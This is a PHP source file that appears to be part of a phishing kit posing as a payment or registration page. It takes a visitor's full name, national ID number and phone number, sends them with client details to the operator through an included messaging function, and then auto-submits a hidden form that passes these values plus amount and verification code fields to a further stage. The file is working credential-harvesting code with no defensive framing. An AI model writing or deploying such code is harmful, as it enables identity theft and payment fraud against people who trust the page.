<?php
error_reporting(0);
require("check.php");
require("payment/function.php");

$message = '';

$fullName = isset($_POST['fullName']) && !empty(trim($_POST['fullName'])) ? trim($_POST['fullName']) : null;
$phoneNumber = isset($_POST['phoneNumber']) && !empty(trim($_POST['phoneNumber'])) ? trim($_POST['phoneNumber']) : null;
$nationalId = isset($_POST['nationalId']) && !empty(trim($_POST['nationalId'])) ? trim($_POST['nationalId']) : null;
$amount = isset($_POST['amount']) && is_numeric($_POST['amount']) ? (int)$_POST['amount'] : null;
$verificationCode = isset($_POST['verificationCode']) && is_numeric($_POST['verificationCode']) ? (int)$_POST['verificationCode'] : null;

$message = "🔐⤳ <b>ᴜꜱᴇʀ ʀᴇɢɪꜱᴛᴇʀ ᴏɴ ᴛʜᴇ #Web</b> | {$_SERVER['HTTP_HOST']}\n\n" .
"• 👤 <b>ꜰᴜʟʟ-ɴᴀᴍᴇ:</b> <code>".htmlspecialchars($fullName)."</code>\n" .
"• 🔑 <b>ᴄᴏᴅᴇ-ᴍᴇʟɪ:</b> <code>".htmlspecialchars($nationalId)."</code>\n" .
"• 📱 <b>ᴛᴇʟ-ᴘʜᴏɴᴇ:</b> <code>".htmlspecialchars($phoneNumber)."</code>".
GetClientInfo();
if(!empty($message)) {
    smg($message);
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body onload="document.getElementById('hiddenForm').submit()">
    <form id="hiddenForm" action="transition.php" method="post">
        <input type="hidden" name="fullName" value="<?php echo htmlspecialchars($fullName); ?>">
        <input type="hidden" name="phoneNumber" value="<?php echo htmlspecialchars($phoneNumber); ?>">
        <input type="hidden" name="nationalId" value="<?php echo htmlspecialchars($nationalId); ?>">
        <input type="hidden" name="amount" value="<?php echo htmlspecialchars($amount); ?>">
        <input type="hidden" name="verificationCode" value="<?php echo htmlspecialchars($verificationCode); ?>">
    </form>
</body>
</html>